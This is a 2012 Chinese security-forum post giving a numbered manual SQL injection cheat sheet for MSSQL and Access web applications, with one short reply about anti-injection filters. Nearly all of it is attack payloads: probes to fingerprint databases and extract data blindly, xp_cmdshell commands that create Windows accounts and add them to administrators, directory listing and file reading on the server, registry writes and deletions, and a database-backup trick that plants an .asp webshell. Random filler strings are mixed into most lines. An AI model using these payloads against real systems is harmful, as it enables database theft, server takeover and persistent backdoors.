找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2276|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
4 s4 ]; K6 H  T1 f, d" K( i1.判断是否有注入;and 1=1 ;and 1=2
, G% E' s; F3 Y* O& i+ ?, b  r, M
2.初步判断是否是mssql ;and user>0   ^( \, d7 _/ r6 R: x
/ B: f8 N3 X% Q/ y' I
3.注入参数是字符'and [查询条件] and ''=' - U; W+ R" M* T9 K6 G
" [, Y" q0 W- ~% z" V
4.搜索时没过滤参数的'and [查询条件] and '%25'='
9 b2 E+ z& f. j! X2 o7 B1 G  F" J& ?6 l
5.判断数据库系统
9 H" Z" q$ G- i) J5 w- C/ ~3 J2 A9 L;and (select count(*) from sysobjects)>0 mssql 3 E5 Z5 A( U3 d, Q# j
;and (select count(*) from msysobjects)>0 access
( u# k0 b( b- d- y( r0 T* x% p* e  e" A/ d
6.猜数据库 ;and (select Count(*) from [数据库名])>0 3 P6 o' b! l( \. |

9 D; w! i; N  y5 c( ^7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6 @# |( B" h7 s  d

6 W+ v' K4 t7 t2 B/ T) j8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ) Q/ ~' Y* J& c
( ~. |5 E9 B6 a) p
9.(1)猜字段的ascii值(access) , m" M8 T; m3 |+ o+ ^: o1 b9 d2 |
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3 S) e- K; {6 m1 E" s
. Y: Z# l4 t. |( b- {! N
(2)猜字段的ascii值(mssql) + B- \" I- ]8 ], v& W
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
4 d" v! V. ?8 H& [3 p4 j3 V9 {% R6 `$ E( _: M
10.测试权限结构(mssql) ! H+ N+ d5 I, D, g+ @; m# T
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 Z9 G- _7 H0 r6 [& T8 `8 N0 x4 p;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
; B- ~* d2 z- s" i;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 g! w! J: G/ B+ x  C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 _8 W$ C. t/ D( q$ b6 [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. Z( i5 I0 z; z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- t/ d2 w- j0 Z7 K0 @;and 1=(select IS_MEMBER('db_owner'));--
$ y! b, [- s9 ]+ J# ~5 |/ r, ]% [2 ~* O
11.添加mssql和系统的帐户
' e4 B  w7 D) T: @: t8 z0 e% ]' h;exec master.dbo.sp_addlogin username;--
5 `7 O, `/ {- J: T# B$ F) \5 U& t( m
;exec master.dbo.sp_password null,username,password;-- 3 t0 f- a+ S# Q( d0 \' i% P
7 W4 o7 L& o& n( \' C
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; r8 F+ j4 k( }! \, {
6 S2 F1 U# E7 K. u# Q0 G;exec master.dbo.xp_cmdshell 'net user username password " C; e; f4 k" x3 \9 p; J2 |
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- - G% ^# F" |, X# u' {9 d1 `0 L  j7 k

5 S. Y" @/ }! o;exec master.dbo.xp_cmdshell 'net user username password /add';-- , Y2 A# a% Z4 I4 m9 B

6 k- x  W! }  f- v5 E;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
% B  Y) B0 @/ ]7 Y4 t2 g4 {" J* x( h" u2 h5 z# D
12.(1)遍历目录
, G* s* I6 ~& J( [# R* Y4 U
7 ?7 T9 @+ Z+ C% q: z3 _;create table dirs(paths varchar(100), id int)
" e: C5 v& i5 N" n5 C;insert dirs exec master.dbo.xp_dirtree 'c:\' 5 f) O0 S# @/ G" r3 Y8 U3 z) z
;and (select top 1 paths from dirs)>0
( |4 |& @8 p( s( Z* a( M$ [  W1 D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 R" Y: \; R: m: W: Y) R8 @  u
8 p( o' K6 Y  c- S(2)遍历目录   v; M% L: S! a& m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 r7 n5 M0 V  @; w9 r) o;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 & e0 r& E. N+ z# r; `
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 ^  s- K: y4 u2 B6 z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
: l% L! n" R8 n* f+ \;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
& {) i' |. }9 @1 x# Y& s  h$ m6 Y* L' W0 x' s# u: G. g* s
13.mssql中的存储过程 9 s' J9 O% u8 k% I

6 c9 ]- \8 D) U6 ]5 s* bxp_regenumvalues 注册表根键, 子键 7 b5 T4 K0 c# j2 E. C9 i3 F0 W2 o. r7 n
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 l. D& U% U; @% v* b" N* y; Z3 [, z
xp_regread 根键,子键,键值名
; }+ P# g' h& N  y" _+ P# u$ j;exec xp_regread
& k8 \1 K' s# v& y- o'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ! g/ k0 j  j( Q5 `6 d
0 R9 Q. u  }- R+ t2 @
xp_regwrite 根键,子键, 值名, 值类型, 值
3 a  e' c/ @  [, |* E值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 N- }& C' T' c! R& b- n7 C- s. y6 C
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 & V: B0 l; Y, m6 B! ~1 ]  A
$ j' T, C* C+ d- y* h
xp_regdeletevalue 根键,子键,值名
* t* J3 f, V: m5 [: p3 t+ [0 E; G8 D
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1 i" w7 _' G7 h4 b. Z

; y9 O2 h4 c0 _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 . e- T# |; \' m* q/ M* [7 ?/ n
# g/ _& [6 X0 o
14.mssql的backup创建webshell , _5 l5 j: H: y/ w9 z
use model # n9 @: C( U9 J) P! s% U- o: |: E) }
create table cmd(str image); * ]' ?. V. @/ X- v
insert into cmd(str) values (''); ' N" S% ?5 p2 v1 @" z
backup database model to disk='c:\l.asp'; , s( y8 p& u- }4 e. L) f/ h* n3 e! ]

8 p1 j! ]+ @6 N" N- Z15.mssql内置函数
  v' B: e; Y  \5 L; k6 ~;and (select @@version)>0 获得Windows的版本号
  b- f/ p" k1 [5 z/ L) i;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ X5 j% F' W2 ]: ~3 q! A6 j;and (select user_name())>0 爆当前系统的连接用户 0 }, G0 f9 M) n, K* [4 y9 Y
;and (select db_name())>0 得到当前连接的数据库 2 q+ Q- u' |2 @+ r8 `1 N
1 Y# }- x7 H1 c: S) f- B8 E& V) {) X
16.简洁的webshell
' o2 X8 M7 ~  C" E& A  T
" S, s* P$ i3 L% u$ Muse model
% Z* j& M. i, d. q& K* b
9 }5 G4 p; G4 m4 Acreate table cmd(str image); 2 ]/ |9 R5 L7 e/ Q6 Z
4 Z3 }* h9 K) N& ~
insert into cmd(str) values (''); / a) ~. u8 |5 p; f+ G& f8 v/ x

& d+ q3 C- ^' L6 h$ bbackup database model to disk='g:\wwwtest\l.asp';
! j8 J  V' T; u. D" R/ ?8 s
. e0 c" N0 }" Y6 q
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表